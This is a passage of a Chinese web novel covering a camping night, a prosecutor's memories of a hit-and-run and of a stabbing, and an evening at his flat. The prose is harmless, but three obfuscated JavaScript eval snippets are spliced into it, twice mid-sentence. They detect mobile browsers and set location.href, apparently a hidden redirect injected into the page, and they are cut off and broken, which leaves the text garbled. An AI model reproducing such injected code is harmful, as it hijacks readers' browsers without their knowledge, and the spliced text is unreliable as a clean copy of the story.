可一听戚玉衡说想去,沈灵均当即决定跑这一趟。对于陈彦博和他来说,露营一次所花的金钱、时间,都可谓是无伤大雅、微不足道,但是对戚玉衡来说,他用在休闲娱乐上的钱,都是他节衣缩食省出来的,他用来休闲娱乐的每一分每一秒,都标着明晃晃的价格。戚玉衡愿意付出这么大的“代价”,说明他是真的很想来露营,沈灵均不想让他失望。 沈灵均也非常支持戚玉衡出来玩:带入一下戚玉衡,沈灵均觉得自己早就撑不下去了。适当的休息,能松一松他心里那根弦,为他单调的生活带来些滋味。 这个时候,戚玉衡转过头来,道:“明天回去的时候,我开车吧。我技术还可以的。” 沈灵均愣了一下,随后才反应过来,戚玉衡这是在回他之前那句“司机都没喊累”这句话。 太贴心,但也太敏感了。 沈灵均摇摇头:“不用不用,你不是说晚上还想去给长乐上课的吗?你省省力气,”沈灵均轻轻地踢了陈彦博的椅子一脚:“我就是看不惯某人干一点活就喊累。” 陈彦博哼哼了两声,没说话。 歇了一会,三个人便开始准备晚饭。 戚玉衡把带来的保鲜盒打开:“买来的肉,我腌了一半。这个腌料,是我曾经打工的烤肉店老板教给我的,他说好多人专门来买这个配方的。我觉得确实好吃。” “我还做了几种点心,金枪鱼三明治、可颂蛋挞、黄油曲奇、芋泥小方……你们尝尝。” 陈彦博搓着手:“每样看着都好好吃,”陈彦博拿了一个蛋挞塞进嘴里,口齿不清地道:“呜呜呜,在大自演里,次着美食,看着夕阳,好星湖。” “烤肉一定得配啤酒,”陈彦博拍了拍他的小冰箱:“最好还是冰啤酒。嘿嘿,我带了好几种酒,小戚一会一定得尝尝。” 沈灵均笑道:“……酒蒙子。” “嗐,小酌怡情,小酌怡情。适当喝酒也有利于身体健康嘛。” 用现在的时髦话说,陈彦博是个超级大E人,有时候他兴致上来了,和路边的狗都能聊两句。他能在很短的时间内和一个素不相识的人打成一片,饭桌上有他,那就不可能冷场。 陈彦博和戚玉衡从风花雪月聊到人生哲学,从他今天接到的病患聊到国家大事,从杯中的酒聊到天文地理……话题跨度十分大。陈彦博表达能力很强,用词幽默,经常把戚玉衡逗得开怀大笑。 看到戚玉衡高兴,沈灵均心里也高兴,但高兴的同时,沈灵均又觉得心里有一些说不清道不明的感触——应该说是吃味吗——认识这么久,戚玉衡在他面前,好像还是有些拘谨,少有这么放得开的时候。 “嘿,你是不知道,我妈最近在疯狂催我相亲呢。我初中的时候,偷偷摸摸谈恋爱,我妈差点拿衣架把我腿打折,现在啊,为了催我谈恋爱,她也就差抄家伙动手打我了。” 戚玉衡抿了口酒:“初中……也确实早了点吧。” 陈彦博摸着下巴:“嗯,现在想想,那当然是非常不成熟的爱情——那甚至不能叫爱情。但是,我当时一度以为那是我的真爱。” 戚玉衡有些好奇:“因为那是你的初恋?还是因为那个女孩特别优秀?” 陈彦博一脸的高深莫测:“因为,那是第一个给我递情书的女孩。” 看戚玉衡神色似有不解,陈彦博把一只手放到自己下巴下方:“小戚,你说实话,兄弟我长得怎么样?” 戚玉衡实话实说:“很帅。” 陈彦博拽了沈灵均一把,把人拉到了自己身边:“比之这位如何?” 戚玉衡张开了嘴。 戚玉衡闭上了嘴。 戚玉衡左右为难。 戚玉衡不知所措。 陈彦博放开了沈灵均,一脸沉痛:“我就知道!我就知道!你也觉得他更帅对不对!” “唉,不都说萝卜白菜,各有所爱吗?怎么你们所有人都爱他这根萝卜,没人爱爱我这个白菜?” 沈灵均一脸嫌弃地看着自己的衣服:“你没把你手上的油蹭我衣服上吧?” 陈彦博假装抹着眼泪:“小戚,你是不知道啊,当沈灵均的发小有多难!他从小就是那种别人家的孩子,和他在一块,周围的大人都会拿他当参照物来教育自己家的小孩,我爸妈也是,太让人压力山大了。” 戚玉衡一脸理解。 “这些,我都忍了,他沈灵均成绩好,我也不差啊。有好多次,是他考第二,我考第一呢。但他,害得我从小到大都没什么桃花!从小学到中学,要是有哪个女生主动和我套近乎,八成都是让我帮忙给他递情书、带早餐、要他电话号。我记得,我初二的时候,我喜欢上了我们班一个转学生,想方设法地和人家打成了一片,正培养感情呢,有一天,这姑娘一脸害羞的找到我,问我,中午我们一起吃饭的时候能不能把沈灵均叫过来……” 陈彦博捂住心口:“我的少男心,当时就碎了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916110|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚玉衡一脸同情。 “所以。收到那个姑娘递给我的情书的时候,我特别激动,我觉得她一定是看见了我皮囊之下那颗闪闪发光的心……这就是我命中注定的真爱。” “那后来呢?你们为什么分手了。” “……她喜欢上了我们校门口一个抽烟烫头纹身打架的非主流,把我甩了,”陈彦博喝做了个点烟的手势:“现在想想,她可能单纯是审美有点问题吧。” 这句话戳中了戚玉衡的笑点,让他一直笑个不停。因为喝了些酒,戚玉衡的脸颊挂上了两坨明显的红晕,嘴唇因为沾了酒液的缘故,泛着一层莹亮的光泽,配上他此刻的笑容,有一种异常生动、艳丽的漂亮。 沈灵均看在眼里,也笑了。 三人一直喝到了十二点多才睡。陈彦博一共带了两个充气床垫,一个双人一个单人,陈彦博和沈灵均睡双人,戚玉衡睡单人。 戚玉衡不常喝酒,一喝酒就犯困,但这一次,由于和沈灵均共处一室,戚玉衡的心情并不平静,辗转反侧了很久才迷迷糊糊地睡着了。 但还没等戚玉衡进入深睡眠,他就听见了一阵窸窸窣窣的声音,戚玉衡眯起眼睛,看见沈灵均从床上起了身,离开了帐篷。 去上卫生间了吗? 但戚玉衡等了二十多分钟,沈灵均还是没回来。 去上卫生间,应该不需要这么久。沈灵均去哪了?看他的身形,他根本没有穿外套,现在已经是初冬,深夜的山顶温度已经接近零度,在外面这么久,他会不会冻坏了?他会不会还没醒酒,走路的时候在什么地方摔倒了? 戚玉衡越想越担心,他拿上沈灵均的外套,走出帐篷——沈灵均就在帐篷外,他倚在木台的护栏上,正抬头看着星星。 听到帐篷开合的声音,沈灵均回过头,语含歉意:“我把你吵醒了?” 戚玉衡摇摇头:“不是,我还没睡着……有点失眠,”戚玉衡把外套递给沈灵均:“你穿上吧,别感冒。” 沈灵均道了谢:“我也失眠了。我还想在外面再透透气,你回去继续睡吧。” 戚玉衡观察着沈灵均的表情,犹豫了一会,上前几步,走到沈灵均身边:“你今天是不是心情不好?” “没有啊,你怎么会这么想?” 戚玉衡看向沈灵均的眼睛:“……直觉吧。” 沈灵均咀嚼着这个词,随后,他笑了:“算不上心情不好。只是……见到裴序南……就是那个撞了我父亲的人,勾起了一些心事。” 戚玉衡没说话,但是往沈灵均的方向侧了侧身子,表现出了一个倾听的姿态。 沈灵均垂下眼睛:“十五年前,那辆车撞伤我父亲的车上,不只有裴序南一个人。车上除了他,还有他的亲哥哥,裴序东。” “我一直怀疑,撞伤我父亲的肇事司机,并不是裴序南,而是裴序东。” “当时,警方确定肇事司机的唯一证据只有裴序南兄弟二人的口供。十五年前,就算是容州,也不是每个路口都有摄像头的。我父亲被撞的那个路口就没有。警方是在裴序南自首之后,才根据他的口供,在他开车的路线上找到了几个摄像头,提取到了一些视频证据。” “据裴序南自述,案发的时候,他因为喝了酒,酒意上头,决定在城市里飙车。他当时开的是一辆保时捷跑车,他把车开得相当快,整个路程的平均时速都在160公里每小时,在人烟稀少的路段,他的时速甚至飙升到了200公里每时……他撞我父亲的时候,差不多就是这个时速。我父亲能活下来,其实已经是不幸中的万幸。” “因为他开的速度实在太快,十五年前的视讯技术又远没有现在发达,监控只捕捉到了车辆的残影,只能隐约看出来,驾驶位和副驾驶位都坐了人,两个人都穿的是黑色的衣服。” “警方又没有找到其他目击者,根据客观证据,他们没有办法判断谁才是司机,最终只能依靠裴序南和裴序东的口供定罪,确定司机是裴序南。” “但我一直怀疑,真正的司机是裴序东。” 49.第 49 章 说到这,沈灵均的笑容里多了些许苦涩:“我没有证据,只有……直觉。当时负责办案的警官就觉得,我有些阴谋论,想得太多了。” 戚玉衡皱着眉,语气有些急切地道:“不是这样的。我……我觉得,我们说的直觉,并不是那种凭空臆想,而是有一定根据的。比如说、比如说,刚才我说我觉得你心情不好,是因为我觉得你和平日里的你不一样,这种不一样,很细微、用言语可能没办法说得那么清楚,但就是不一样的。于是我一言以敝,说这是直觉。” “我相信,你直觉觉得裴序东才是那个司机,肯定是事出有因的。对于裴序东裴序南来说……或者说,对他们一家来说,肇事司机‘是’裴序南,是有利可图的。裴序南当时是未成年,所以才可以判一缓三,如果凶手是裴序东,他是成年人,他说不定就要进去坐牢了,让裴序南去顶罪,至少可以让他们两个人都不用进监狱。” 沈灵均点头道:“是。这也是我当时怀疑真正的司机是裴序东的一个原因。还有就是,经过我的调查,裴序南确实会开车,他也自称,他热爱飙车,曾经多次无照驾驶。但这些都是他的口供,没有什么直接证据。但有很多证据表明,裴序东十分热爱极限运动,喜欢跳伞、滑雪、赛车,他还是容州一家规模很大的赛车场的高级会员,曾因为车速太快在赛车场出过车祸,因此与人产生过纠纷……” “再就是,个人性格。这完全就是我的主观感受了。在和裴序南一家接触的过程中,裴序东这个人给我一种……”沈灵均微微抿唇:“让我非常不舒服的感觉。” “当年,我也做了很多努力……但是最终还是没找到任何证据,”沈灵均再次仰头看向夜空:“现在,都已经过去这么多年了,再找到证据的可能微乎其微。” “有的时候我也在想,我还执着于这件事的意义是什么。是想找出真相,还是仅仅想证明自己没错呢?”沈灵均笑道:“还是生活过得太顺利了,想给自己找点烦恼呢?” 戚玉衡看向沈灵均,缓缓道:“我有些……大概,能理解你的感受。我也会做一些,别人眼里很没有意义的事,戚玉衡微微低下头:“我……我爸……他们那个犯罪团伙,当初有一个人跑了。他老家是桂平山区的,我每年都会去他老家那边一趟,向村民打听他的消息。我还会去他家附近蹲点,看看他们家有没有突然暴富或者多出什么不明人口。他老家在桂平的深山里,要去一趟,很麻烦。” “我要先去桂平的省会奉明……这一步很容易,容州有直达的航班,在旅游淡季,机票很便宜,比火车还便宜。所以我每年都挑旅游淡季去。然后要从奉明坐火车到于陵,再从于陵市区坐大巴坐到寿县石柱镇,然后在当地拼车、或者打摩的去贾庄村,最后再徒步一段路。” “我坚持去有几年了,每次都无功而返。我有时候也想,你说我这样做图什么呢?费功夫、费钱,但什么线索、什么有用的东西也没得到。但要说是为了安自己的心,感觉好像……心也没被安到,”戚玉衡说到这,有些不好意思地笑了:“我也不知道做这件事,到底有没有意义,我自己都是有的时候觉得有,有的时候觉得没有。但我就是……想坚持。我不想放弃。” 戚玉衡复又抬头,沈灵均:“我感觉沈检你……也还想坚持,也不想放弃。那就……别放弃。不必去探究缘由,只需要顺应自己的内心就好了,人有的时候就是会做一些连自己都未必能完全理解的事的。” 沈灵均看向戚玉衡,有一会没说话。 在戚玉衡变得有些不安的时候,沈灵均道:“好。” 随后,他又道:“我真的觉得你非常了不起。” 戚玉衡下意识地摇了摇头,但还没等他说话,沈灵均就打断他道:“不要过度谦虚呀。” “但、但我觉得……我也就……我没做过什么能被你这么说的事。” 沈灵均指着玉衡星:“玉衡是北斗七星中的第一亮星。在人类肉眼可以观测到的六千多颗行星中,它也是第三十一亮星。玉衡星是颗非常明亮的星星。我觉得,玉衡这个名字很衬你,你是个……非常明亮的人。你要自信一点。” 戚玉衡呆呆地看着天上的玉衡星,忽然发觉,他已经很久没有如此认真、如此长久地看这颗与他有着一样名字的星星了。 戚鸿只读过小学,他母亲据说也就是小学的文化水平,奶奶则是文盲。在他出生的时候,戚鸿绞尽脑汁也没想出什么好名字,于是花钱请了个算命先生,给他起了这个名字,也给他起了个“星星”的小名。 因为没有钱,他没有经过系统的学前教育。刚上小学的时候,老师教大家写自己的名字,他觉得自己名字的第一个字和最后一个字都非常难,于是去问奶奶,为什么要给自己起这么难的名字。奶奶告诉他,他的姓氏来自于父亲,名字来源于一颗星星。但奶奶忘记了玉衡星的位置,只是笼统地告诉他,玉衡星是北斗七星中的一颗。 后来,他长大了一些,去书店查了辞海,才知道玉衡星是北斗星勺柄上的第三颗星。在刚知道这件事时,戚玉衡常在晚上抬头去找这颗星星,但后来新鲜劲过去了,也就很少再看了。后来,他忙于学习和生活。对于贫穷的人来说,仰望星空的时间都是种奢侈品。 上了初中和高中之后,有不少同学夸赞过他的名字好听——付雨萌就经常跟他说,说他的名字听起来很有气质,很风雅,像是小说里的名字。那时戚玉衡想,这或许是戚鸿为他做的为数不多的好事。 但还是第一次有人跟他说,“玉衡星是明亮的星星,你是明亮的人”,这样的话。明亮能用来形容人吗? 但戚玉衡当然听得出来,这是一句赞美。 或许是因为被夸得有些忘形,戚玉衡看着沈灵均,脱口而出道:“那你以后看到北斗七星的时候,会想起我吗?” 戚玉衡说完这句话就后悔了。他又尴尬又懊悔,慌张地低下头,恨不得把自己藏到木台上的缝里。 随后,他听到沈灵均答道:“当然会啊。以后我每一次看到北斗七星,都会想起你的。” 即使山顶的夜晚很冷,但戚玉衡还是能清晰地感觉得出,他脸上一片滚烫,手上甚至微微出了汗。 这个时候,陈彦博从帐篷里钻了出来,他睡眼朦胧地看着戚玉衡二人:“你们站这干嘛呢?我看屋里就我一个人,给我吓一跳。” 说着,陈彦博就缩着肩膀往卫生间跑去:“嘶,卫生间离咱们也太远了。不行了不行了要憋不住了诶……” 戚玉衡忍不住笑了一声。他看向沈灵均:“那我们……那我们回去睡吧。” 他心里有鬼,于是便觉得连睡这个字也烫嘴了。 沈灵均没觉出他的异样:“好啊。” 听沈灵均那边的动静,他回帐篷不久后就睡着了。但戚玉衡这晚却是彻夜未眠。 第二天一早,吃过早饭后,三人就踏上了返程。戚玉衡之前还说要代替沈灵均开车,但在一夜未睡后,他不敢托大了。陈彦博在听说沈灵均昨晚失眠后毛遂自荐要开车,但他在拿驾照之后驾驶时间合计不超过四十八小时,跑高速的经验更是接近于零,沈灵均不信任他,还是决定自己开。 戚玉衡上车没多久就困了,但他还记得,昨天沈灵均曾经说在他车上睡着的陈彦博像猪,于是竭力抵挡着困意。但他最后还是输给了困老虎,不知不觉的,他就睡着了。 再睁开眼时,戚玉衡感觉四周光线尤为昏暗,他下意识地直起身,左右看了看,发现他们的车似乎是停到了一个地下车库里,窗玻璃上有不少雨点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916111|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>戚玉衡有些茫然地看向沈灵均:“沈检……我们这是在哪?外面下雨了吗?” 后座上的陈彦博道:“在十一家的地下车库里呢,下雨啦,刮台风啦。安水风平浪静的,但出了安水没多久,天上就落雨了,越往容州走雨越大。雨下得大,城市有点内涝,能见度也低,车不好走,再加上你还睡着,我和灵均一合计,就先让他把车开回他家了。天气预报说,这雨得下一整天,晚上也停不了。灵均说咱俩今天就住他这……你看行不行?” 沈灵均在一旁道:“我跟长乐说了,今天的课停了。你不用担心上课的事。” “好……没问题,就是麻烦你了,”戚玉衡道歉道:“对不起,我睡着了,你们是不是等我很久了?”他使劲揉了揉眼睛:“十二月了,还刮台风?” 沈灵均道:“极端天气。今年极端天气挺多的……没等多久,我们在进城的路上堵了好一会来着。” 说着,三人下了车。 昨晚一整晚没睡,又在白天睡了长长的一觉,这个与戚玉衡平时生物钟相反的作息让戚玉衡的大脑短暂地待机了一段时间。电梯马上要升上十七楼的时候,戚玉衡才猛地反应过来——他要去沈灵均的家了。 这个认知让戚玉衡一下子紧张起来。 电梯门开了。沈灵均用指纹解锁了门,带头走了进去。 走进这栋房子的第一个感觉,戚玉衡的感觉是亮。 此时外面在下大雨,天空阴沉沉的,阳光条件实在算不上好,但屋内依旧算得上明亮——戚玉衡环视一圈,明白了原因。客厅有三面都是落地窗,他之前从来没住过采光这么好的房间。 戚玉衡没什么眼力,也不知道沈灵均房子的装修是什么风格,但是他感觉得出,这栋房子很贵。这栋房子的装修很贵。 陈彦博道:“我想洗个澡,身上都是烤肉味,”陈彦博明显很熟悉沈灵均的家,他直接往楼上走去:“我去楼上洗啦。” 沈灵均应了一声,看向戚玉衡:“你要不要洗澡?” 戚玉衡也觉得自己身上的味道有些重,于是点了点头。 “行。” 沈灵均拐进一间房间:“我给你找衣服。” 过了一会,沈灵均走了出来,把一套睡衣递给戚玉衡:“这是我的睡衣,你应该能穿。新的内裤给你夹在衣服里了。” 戚玉衡面红耳赤地接了过来,小声道:“谢谢。” 沈灵均把戚玉衡带到楼上的另一间空浴室,在教了戚玉衡如何使用花洒后便离开了。 戚玉衡洗好澡后,本想顺便把自己的内裤也洗了,但浴室里的香皂造型十分精致,一看就不像能用来洗内裤的,戚玉衡没敢用,打算一会找沈灵均要一块能用来洗内裤的香皂。 下楼下到一半,戚玉衡往下一看,就见沈灵均和陈彦博两人光着上身站在一块,陈彦博的手正不断摩挲着沈灵均的腹肌。 这一幕直接给戚玉衡看傻了,他嘴唇开合几次,才结结巴巴地说道:“……你、你们在干什么?” 沈灵均和陈彦博都抬起头来看他,陈彦博道:“诶,小戚小戚,我在鉴赏十一的腹肌。” 陈彦博的手又在沈灵均的腹部摸了两把:“他练得确实好,羡慕了,整整齐齐八块呢,手感真好,”陈彦博收紧核心,低头看向自己的腹肌:“虽然我训练量没你大,但这是不是也差太多了……一定是因为我这个月吃太多了。” 因为要给陈彦博摸,沈灵均的裤子提得很低,整个小腹都露了出来,发力的时候,戚玉衡甚至能看清他小腹上凸起的青筋。 陈彦博自己摸还不算,又招呼戚玉衡道:“小戚,你要不要来摸摸感觉一下?” 戚玉衡:…… 受不了你们这些没边界感的直男。 50.第 50 章 因为安了地暖,沈灵均家的温度向来很高,于是,他给戚玉衡拿的睡衣是短袖长裤的组合。戚玉衡的肤色本就算偏白的,但是不看不知道一看吓一跳,沈灵均发现,戚玉衡的手臂比脸还白,真真算是肤如凝脂。而现在,他白色的皮肤正以肉眼可见的速度透出红来。 原来人真的可以害羞成这样。沈灵均一时间在心里称奇。 也可以理解,沈灵均心想,他和陈彦博在燕大洗了七八年的公共浴池,早已经对同性的□□视觉免疫了。但是戚玉衡生性内敛,又一直待在南方,不习惯看别人的裸体也是正常的。 不知道为什么,或许是被戚玉衡害羞的表现所影响了,沈灵均一下子也不自在起来。他把陈彦博在自己身上作乱的手拍了下来,提上裤子,把睡衣往自己身上套:“你差不多行了啊。你也把衣服穿上吧,就算屋里暖,但你刚洗完澡,小心给你冻感冒。” 就在这个时候,戚玉衡忽然快步走下楼梯,指着他手臂上和腹上的伤疤道:“沈检,这是怎么弄的?!” 陈彦博在一旁道:“唔,你可以把它们看做是英雄的勋章。” 沈灵均说:“你可得了,”沈灵均给戚玉衡解释道:“办的一个案子的当事人家属,对我不满意,买凶想杀我……这是当时受的伤。” 戚玉衡一只手落在他衣角处,一副想掀开看又不敢的样子:“……严重吗?有没有留下什么后遗症啊?” 陈彦博就比他直接多了,一把把沈灵均的衣服掀起来了:“严重。那能不严重吗?肚子上三刀,胳膊上两刀,肝脾都出现了破裂,整个腹腔大出血……差点就死了。他手臂上的伤要是再深一点,这辈子也甭想长时间拉琴了。” 回忆起那天,陈彦博依旧心有余悸:“他被救护车拉来的时候,我一看到他,手、腿肚子立刻就打哆嗦了,我什么时候看到过他那样啊?不过他运气不错,出事那天,我们院普外科的两个主任都在,都没在台上,手术做的很及时,主任经验丰富,技术过硬,要不然,别的不说,他的脾八成是保不住。” 戚玉衡没有立刻说话,而是伸出手,轻轻地在一道伤疤上碰了一下。 戚玉衡的手有些凉,沈灵均本能地打了一个激灵。戚玉衡察觉到了他的动作,连忙收回手:“对不起……” 不知道为什么,沈灵均突然觉得被戚玉衡碰过的那道伤疤有些痒。 沈灵均从陈彦博手里抢回了自己的衣服:“我这叫吉人自有天相,大难不死必有后福。” 戚玉衡问道:“到底是什么人这么猖狂,敢买凶杀检察官?” 陈彦博冷哼一声:“因为他们猖狂惯了。那是一伙黑设会,无恶不作,横行霸道很久了,警方花了很长时间才把这个团伙打掉,案子光侦办流程就进行了快半年。因为那个团伙一共涉及到五十多个人,为了办这个案子,十一他们院特意组织了一个检察官团队。” “因为嫌疑人太多了,嫌疑人家属们请的律师也很多,五十多个人请了十几个律师团。不同的检察官负责固定几个嫌疑人律师的对接。十一他负责的嫌疑人中,有好几个算是主犯的,量刑都比较重,不是死立执就是死缓。” “但可想而知了,站在嫌疑人的立场上,刑永远是越轻越好,死立执的想要死缓,死缓的想要无期。有一个人嫌疑人被定的死立执,但是家里就非常想保住他的命,想要定死缓。跟十一沟通过很多次,还暗搓搓地试图给十一行贿,当然,我们沈检察官铁面无私地拒绝了。” “法院最后也接受了检察院的量刑建议,判的死立执。然后啊,我是真觉得,”陈彦博指了指自己的脑袋:“那个嫌疑人的老婆和小舅子,脑子不太好。” 沈灵均这时道:“与其说他们脑子不好,不如说,他们的思维与正常的守法公民不一样。那个嫌疑人年纪很轻,被抓的时候刚刚二十岁。在那个黑设会组织的层级中,他的地位其实并不高,只是底层的马仔、打手,但参与的犯罪却很多。杀人、绑架、强肩……所以虽然他地位低,刑还是判得很重。” “他因为一些原因,在小学还没读完的时候就出来闯社会了。在十二三岁的年纪就加入了这个黑设会团伙——在他口中,这是个‘帮派’,每天受帮派里所谓‘义气’洗脑,在不断的犯罪中丧失了自己的道德观。他妻子的情况跟他很像,很小的时候就没有在读书了,混迹社会,道德感很淡,不排斥犯罪,也不畏惧法律的惩罚……十八年后又是一条好汉的这种感觉。” “到了起诉阶段,他也没有对他自己的犯罪行为有悔改,他甚至不认为自己的行为是犯罪。他的律师跟他沟通起来都很困难。他妻子和他小舅子呢,和他想法差不多,没觉得他做的事有多恶劣,所以觉得死立执判得非常重。再加上我堵死了他们行贿的路,他们就觉得我特别不近人情,一门意思要害死嫌疑人,所以在法院判决之后就想报复我。” “嫌疑人的小舅子就纠集了他的三个朋友合伙堵我,并承诺事成之后一个人给他们八千块钱,”沈灵均说到这,笑了:“我的命就值两万四,还挺便宜的。” “我那个时候不住这,住离我们院很近的一个小区,说是小区,其实就是一栋临街房,没什么安保,附近人来人往。所以他们提前踩好了点。嫌疑人那个小舅子那年刚满十八不久,他的那三个朋友和他年纪都差不多,都是十八、九的年纪,有一个当时还没成年。” “他们动手的时候是早上。我刚从单元门出来,他们就一拥而上,朝我冲了过来。他们人多,还有刀,但是我也不可能坐以待毙啊,也奋力反抗了,最后用我手里的包砸倒了嫌疑人的那个小舅子。因为我包里有电脑,他正好又被砸到头,一时没爬起来。再加上周围的目击者一直在呼救,剩下的三个人见势不妙,就跑了。” 陈彦博插话道:“其中有一个,警方到现在都没抓到。” 戚玉衡微微提高声音:“没抓到?他怎么跑掉的?他是在闹市区行凶的,还有那么多目击者,警察怎么会让他跑掉呢?” 沈灵均道:“那三个人夺路而逃,跑到路边的时候,正好有一辆车停到路边,车主想下车去路边的超市买东西,他们三个把车主从车上拽了下来,上车跑了。等警方找到那辆车的时候,他们早已经弃车跑了。之后警方根据视频监控以及背调,抓到了两个人,但是还有一个,始终没抓到,警方掘地三尺也没有找到。” 陈彦博有些愤愤不平地说:“被抓到的那几个,也都没被判几年,就主犯,嫌疑人那小舅子,明年都该出来了。判的最轻那个未成年,今年年初就出来了,出来都快一年了。” 沈灵均用手背拍了一下他的胸口:“我不是跟你说了,故意伤害罪想判得重,那就得伤得重,我没残也没留后遗症,他们的刑期已经是在考虑我的身份、他们的犯罪动机、恶劣的社会影响上重判了。” 戚玉衡有些担忧地说:“那他们这些人,出来之后会不会报复你?听你说的,感觉他们……很难被教化的样子。” 沈灵均道:“已经出来的那个,现在还挺老实的,进厂打工了。其他两个人还没放出来。但俗话说得好,有千日做贼的,没有前日防贼的,要是每天都惦记这件事,我自己的生活也没办法过了,”沈灵均做了一个展示肌肉的动作:“而且我比三年前还是进化了不少的。一般人现在也奈何不了我了。” 戚玉衡脸上扯出来一个笑,没再说什么,但面上还是带着很明显的忧色。 这时,只听咕咕两声。陈彦博摸着自己的肚子:“……我饿了。” 沈灵均看了看外面的天气:“这天气,别点外卖了,我做点吧。” 戚玉衡立刻道:“我可以帮忙。” 陈彦博道:“我可以准备剥蒜这类的前置工作,菜我就不做了,你知道的,我做饭真的很难吃。” 因为沈灵均不常做饭,所以也没有囤菜的习惯,冰箱里没什么新鲜蔬菜,但各种肉类却有不少。戚玉衡将冰箱里的食材查看了一番,道:“我们做一个红烧鸡翅、一个虾仁蒸蛋、一个玉米排骨汤怎么样?昨天吃烤肉还剩下不少生菜,白灼一下,这下蔬菜也有了。三菜一汤。” 沈灵均和陈彦博都说好。 一干起活来,外行和内行的差距就体现出来了。 戚玉衡干活很麻利,沈灵均和陈彦博干一件事的功夫他能干三件事,同时开两个锅的火也不会手忙脚乱。没一会功夫,三菜一汤就被端上了桌。 沈灵均尝了两口,就道:“好吃。不愧是专业的,比我手艺强多了。” 陈彦博也道:“比外卖好吃多了。” 戚玉衡被他们说的有点不好意思:“我也不是什么专业的,就是在不同的大排档打过一段时间工而已。” 三个人将四个菜一扫而空。 将餐桌上的残局收拾好,陈彦博躺倒在沙发上消食,跟沈灵均道:“对了十一,你八岁时候练琴的视频,你还有保存吗?” 沈灵均有些诧异:“我八岁时候练琴的视频?有保存,但那些带子现在应该都在我家——我爸妈家,不在这边,你问这个干什么?” “嗐,你还记不记得我跟你说过,我大表哥家的小孩,我表侄女,在学小提琴。” 沈灵均点点头。 “孩子根本不愿意学,非常抗拒练琴。因为练琴这事,我表嫂几乎每天都要跟她发脾气。而且孩子也是真没天赋,八岁,学琴快三年,刚考了个二级证书,拉起琴来还是像在锯木头,是真难听,称得上是魔法攻击。” “她上的那小提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945960|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琴课也贵,一节课一个半小时,一节课六百。孩子一周上两节,一个月就是四千八,我表哥表嫂一个月税后也就不到五万块钱,还背着一万多的房贷,因为这个课的钱,日子过得紧巴巴的。上周,我表哥觉得孩子实在不适合学琴,就跟我表嫂商量,说想放弃,不上课了。但我表嫂不同意,说孩子琴练得不好是因为她不够努力,当天晚上就因为孩子不愿意练琴,把孩子打了一顿。孩子第二天就逃学离家出走了。” 沈灵均惊道:“啊?!那孩子找着了吗?” “找着了。嗐,没跑远,就跑她爷爷奶奶那去儿了。但这事给她爷爷奶奶吓够呛,我大姨跟我妈说这事的时候都心有余悸的。万一孩子中途被人拐跑了怎么办?这一次离家出走去爷爷奶奶家了,下一次会不会就跑得更远、以至于出事了怎么办?” “事情都这样了,我表嫂还是坚持要让娃继续学琴,说娃吃不了苦。” “我哥就想说服我表嫂,别逼我侄女学琴了,他就想到你了。他就想让她看看你的录像带,同样是八岁,同样是练琴三年,让她看看什么叫差距,让她直面现实,不要再强求了。这个领域就是这样的,没兴趣又没天赋,继续学下去就是死路一条,苦不堪言。我跟咱奶学过啊,让我一辈子对弦乐器……不对,所有乐器,都有心理阴影。” 沈灵均点点头,但他有些犹豫:“给你找带子,当然没问题。但你确定这样不会起反效果吗?会不会让你表嫂,以录像里的我为标杆,强迫孩子也练到我那个水准啊。” 听他这么一说,陈彦博一时间也有些举棋不定了:“嘶,你说得也有道理啊……那你有什么好办法没有?” 沈灵均一时间还真被问住了,他正好处于陈彦博侄女的反面,有兴趣又有天赋,学琴的路上也从来没有人逼迫过他,也不知道该如何处理这样的事。 陈彦博最后叹了口气,道:“我再跟我哥商量商量。” 估计是看两个人的谈话告一段落,戚玉衡开口道:“沈检会拉小提琴?之前也听陈医生你说,沈检当时要是伤得再重一些,就会影响拉琴……” 沈灵均点点头,还没等他开口,陈彦博就先夸上他了:“岂止是会啊,姆们沈检,音乐神童,在国际青少年大赛上都拿过好几个金奖的。要是坚持拉下去,说不定现在已经是某知名青年演奏家了,维也纳卡内基开独奏,帕格尼尼金奖也不是梦……” 沈灵均忍不住推了他一把:“停停停,去去去……闭嘴闭嘴。我怎么不知道我这么厉害!” 戚玉衡问:“那怎么没继续拉下去呢?” 沈灵均答道:“我奶奶是小提琴演奏家,也是我的小提琴老师。就我个人而言,我虽然挺喜欢拉小提琴,但只把它当做爱好,对比赛、走职业演奏家的道路没什么兴趣……参加比赛,做职业乐手,是我奶奶对我的期望。我奶奶过世之后,我就没再参加过大赛,也降低了练习的强度和频率,自然而然就退功了。” “……原来是这样。” 